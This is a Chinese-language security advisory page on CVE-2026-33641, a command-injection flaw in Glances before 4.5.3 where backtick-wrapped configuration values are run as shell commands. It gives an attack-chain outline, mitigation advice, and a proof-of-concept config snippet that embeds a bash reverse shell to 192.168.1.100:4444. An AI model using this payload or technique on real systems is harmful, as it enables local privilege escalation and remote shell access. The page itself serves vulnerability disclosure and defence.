IPBUF安全漏洞报告
English
CVE-2026-33641 CVSS 7.8 高危

CVE-2026-33641 Glances配置命令执行漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-33641
漏洞类型
命令注入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Glances

相关标签

命令注入提权GlancesCVE-2026-33641

漏洞概述

Glances是一款开源跨平台监控工具。在4.5.3版本之前,该软件在解析配置文件时存在安全缺陷,配置值中反引号包裹的子字符串会被作为系统命令直接执行。攻击者若能修改配置文件,在Glances启动或重载配置时,将利用该漏洞以进程权限执行任意命令,可能导致权限提升。

技术细节

该漏洞源于Glances处理配置文件的逻辑,具体位于`Config.get_value()`方法。程序支持“动态配置值”,即解析反引号(`)内的内容并将其作为Shell命令执行。由于缺乏对命令来源和内容的校验,任何被反引号包裹的内容都会被传递给系统执行。攻击者若能修改配置文件,一旦Glances服务重启或重新加载配置,恶意命令便会以Glances进程的权限(通常较高)执行,从而实现本地提权。

攻击链分析

STEP 1
获取访问权限
攻击者获取对系统的低权限访问,能够读取或修改Glances的配置文件。
STEP 2
植入恶意配置
攻击者修改配置文件,在特定键值中插入反引号包裹的恶意系统命令。
STEP 3
触发重载
等待Glances服务启动或管理员触发配置重载(如发送SIGHUP信号)。
STEP 4
执行命令
Glances解析配置并执行反引号内的命令,攻击者获取Glances进程权限的Shell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious configuration snippet for glances.conf # Place this in the configuration file to trigger the vulnerability. [quicklook] # Example: Executing a reverse shell using backticks cpu_name = `bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'`

影响范围

Glances < 4.5.3

防御指南

临时缓解措施
在未升级版本前,请确保Glances配置文件权限设置为仅管理员可写,并检查配置内容中是否存在未经验证的反引号包裹的字符串。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表